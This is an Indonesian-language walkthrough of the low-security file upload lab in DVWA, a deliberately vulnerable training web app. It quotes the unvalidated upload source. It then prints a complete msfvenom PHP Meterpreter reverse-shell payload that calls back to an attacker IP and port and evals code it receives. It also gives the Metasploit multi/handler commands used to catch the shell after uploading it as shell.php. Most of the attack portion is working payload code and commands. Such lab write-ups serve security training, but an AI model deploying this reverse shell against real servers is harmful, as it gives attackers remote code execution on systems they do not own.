Low File Upload level Low on DVWA
Di bawah ini adalah source-code dari file upload level low di DVWA.
vulnerabilities/upload/source/low.php
Copy <? php
if ( isset ( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/" ;
$target_path .= basename ( $_FILES[ 'uploaded' ][ 'name' ] ) ;
// Can we move the file to the upload folder?
if ( ! move_uploaded_file ( $_FILES[ 'uploaded' ][ 'tmp_name' ] , $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>' ;
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>" ;
}
}
?>
Mencari Informasi
Terdapat form untuk melakukan upload file. Ketika saya coba meng-upload file kosong dengan ekstensi .php
, maka file tersebut akan terkirim dan bisa diakses.
Terlihat bahwa tidak ada validasi untuk .php
di sini, sehingga kita bisa menfaatkannya untuk menjalankan shell berbahaya.
Melakukan Serangan
Pertama-tama, saya akan membuat shell-nya terlebih dahulu menggunakan tool msfvenom .
Sebenarnya kita bisa saja menggunakan simple web shell, tetapi saya mencoba mengajak anda untuk menggunakan tool sebagai pengalaman baru.
Copy msfvenom - p php / meterpreter / reverse_tcp lhost = 172 . 17 . 0 . 1 lport = 1337
Keterangan:
php/meterpreter/reverse_tcp
adalah payload yang akan saya gunakan.
lhost
berisi IP dari saya (sebagai peretas).
lport
berisi port yang akan saya gunakan.
Nanti akan muncul script PHP kurang lebih seperti berikut:
Copy /*<?php /**/ error_reporting(0); $ip = '172.17.0.1'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Selanjutnya, adalah membuat file (contohnya shell.php ) dan memasukan script tersebut dengan menghilangkan komentar di awal (tanda /*
).
Copy <?php /**/ error_reporting(0); $ip = '172.17.0.1'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
Langkah kedua adalah meng-upload file tersebut ke web DVWA.
Langkah ketiga adalah menyiapkan PC peretas untuk menjadi listener bagi shell yang telah dibuat dengan menggunakan metasploit .
Copy msf5 > use multi/handler
msf5 exploit ( multi/handler ) > set payload php/meterpreter/reverse_tcp
msf5 exploit ( multi/handler ) > set lhost 172.17 .0.1
msf5 exploit ( multi/handler ) > set lport 1337
msf5 exploit ( multi/handler ) > run
Langkah keempat adalah mengakses shell tersebut. Dan jika berhasil kita bisa me-remote server tersebut seperti gambar di bawah ini.
Selamat! Kita bisa mengakses "daleman" server tersebut menggunakan shell yang telah dibuat.
Happy Hacking! 🍻